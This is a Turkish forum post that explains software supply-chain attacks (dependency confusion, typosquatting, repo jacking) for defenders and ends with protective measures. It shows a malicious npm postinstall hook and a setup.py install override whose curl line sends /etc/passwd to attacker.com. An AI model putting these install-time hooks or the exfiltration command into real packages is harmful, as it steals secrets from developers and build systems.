Thread Starter
#0
⚠️ YASAL UYARI VE SORUMLULUK REDDİ (DISCLAIMER):
Bu doküman, DevSecOps Uzmanları, Yazılım Mimarları ve Güvenlik Araştırmacıları için; açık kaynak paket yönetim sistemlerindeki (Package Managers) mimari riskleri anlamak ve yazılım tedarik zincirini korumak amacıyla EĞİTİM AMAÇLI hazırlanmıştır.
Burada anlatılan Dependency Confusion (Bağımlılık Karmaşası) ve Typosquatting tekniklerinin, kötü niyetli paketler yayınlayarak sistemlere sızmak amacıyla kullanılması uluslararası siber suç yasalarınca ağır cezai yaptırımlara tabidir. Bu içeriğin kötüye kullanımından doğacak her türlü yasal sorumluluk uygulayıcıya aittir. Yazar ve ArchiveForum.org yönetimi sorumluluk kabul etmez.
1. Giriş: Kaynağı Zehirlemek
Eskiden hackerlar sunucudaki bir açığı (exploit) arardı. Şimdi ise o sunucuyu kuran geliştiriciyi (Developer) hedefliyorlar.Bir geliştirici terminale npm install axios yazdığında, internetten bir kod parçasını alıp, hiçbir güvenlik taramasından geçirmeden, genellikle Root/Admin yetkisiyle çalışan bilgisayarına veya CI/CD hattına dahil eder.
Eğer saldırgan, geliştiricinin axios yerine yanlışlıkla indireceği zararlı bir paketi oraya koyabilirse (veya axios'un kendisini hackleyebilirse), oyun biter. Buna Supply Chain Attack (Tedarik Zinciri Saldırısı) denir.
2. Teknik 1: Dependency Confusion (Bağımlılık Karmaşası)
Bu yöntem, 2021 yılında Alex Birsan tarafından ortaya çıkarılan ve Apple, Microsoft, Tesla gibi devleri hackleyen yöntemdir.Senaryo:Bir şirket, kendi iç projelerinde kullanmak üzere company-auth-module adında özel (private) bir paket geliştirir. Bu paket sadece şirketin iç ağındaki sunucuda barınır.
Saldırı:
- Saldırgan, şirketin package.json dosyalarından birini sızdırır veya tahmin yürüterek iç paket ismini bulur: company-auth-module.
- Saldırgan, herkese açık NPM veya PyPI deposuna gider ve aynı isimle bir paket yayınlar.
- Kritik Hamle: Saldırgan, paketin versiyonunu çok yüksek tutar (Örn: İçerideki v1.0 iken, saldırgan v99.0.0 yayınlar).
3. Teknik 2: Typosquatting (Klavye Hataları)
En eski ama hala en etkili yöntemdir. Popüler paketlerin isimlerine çok benzeyen isimlerle zararlı paketler yayınlanır.- Orijinal: requests (Python'un en popüler kütüphanesi)
- Sahte: requesrs, reqests, python-requests
4. Teknik 3: Execution (Kod Nasıl Çalışır?)
Paketi indirmek yetmez, saldırganın kodunun çalışması gerekir. NPM ve PyPI buna izin verir mi? Evet, hem de tasarım gereği.A. NPM:
package.json dosyasında, paket yüklenmeden önce veya sonra çalışacak komutlar tanımlanabilir.JSON
12345678// Zararlı package.json örneği
{
"name": "malicious-pkg",
"version": "1.0.0",
"scripts": {
"postinstall": "node index.js" // Kurulum biter bitmez çalışır
}
}index.js dosyası ise genellikle şunları yapar:
- /etc/passwd veya .env dosyalarını oku.
- AWS Keylerini veya Veritabanı şifrelerini çal.
- Bu verileri sessizce saldırganın sunucusuna (webhook) gönder.
B. PyPI:
Python paketleri kurulurken setup.py dosyası çalıştırılır. Saldırgan install sınıfını override ederek istediği Python kodunu çalıştırabilir.CODE
123456789101112131415# Zararlı setup.py parçası
from setuptools import setup
from setuptools.command.install import install
import os
class PostInstall(install):
def run(self):
install.run(self)
# Zararlı işlem burada başlar (Reverse Shell vb.)
os.system("curl -X POST -d @/etc/passwd http://attacker.com")
setup(
...
cmdclass={'install': PostInstall},
)5. Teknik 4: Repo Jacking (Terk Edilmiş Paketler)
Binlerce paket geliştiriciler tarafından terk ediliyor. Saldırganlar bu paketleri bulur:- Paketin sahibine e-mail atar: "Projeyi güncellemek istiyorum, bana yetki verir misin?"
- Veya süresi dolmuş domainleri/e-mailleri alarak hesabı kurtarır (Account Takeover).
6. Blue Team: Nasıl Korunuruz?
Bu saldırılar Antivirüs ile engellenemez. Mimari önlemler gerekir:- Scoped Packages: İç paketleriniz için @sirketim/paket-adi şeklinde Scope kullanın. Bu, paket yöneticisine bu paketin sadece sizin özel kaydınızdan (Private Registry) geleceğini söyler.
- Lock Files: package-lock.json veya yarn.lock dosyalarını asla silmeyin ve Git'e atın. Bu dosyalar, indirilen paketin Hash (Özet) değerini tutar. Eğer paket değişirse, Hash tutmaz ve yükleme durur.
- Versiyon Sabitleme (Pinning): npm install paket@1.2.3 şeklinde tam sürüm belirtin. ^1.2.3 veya latest kullanmak Rus Ruleti oynamaktır.
- Ağ Kısıtlaması: CI/CD sunucularının internet erişimini kısıtlayın. Build sırasında dışarıya veri göndermeyi (Exfiltration) engelleyin.
7. Sonuç: Güven Zinciri Kırıldı
Yazılım geliştirme süreci artık "Kod Yazmaktan" çok "Kod Birleştirmeye" (Lego gibi) döndü. Supply Chain saldırıları, bu birleştirme noktalarındaki güveni istismar eder. Şunu unutmayın: Kullandığınız her import veya require komutu, tanımadığınız birinin kodunu sunucunuzda Root yetkisiyle çalıştırmasına izin vermektir.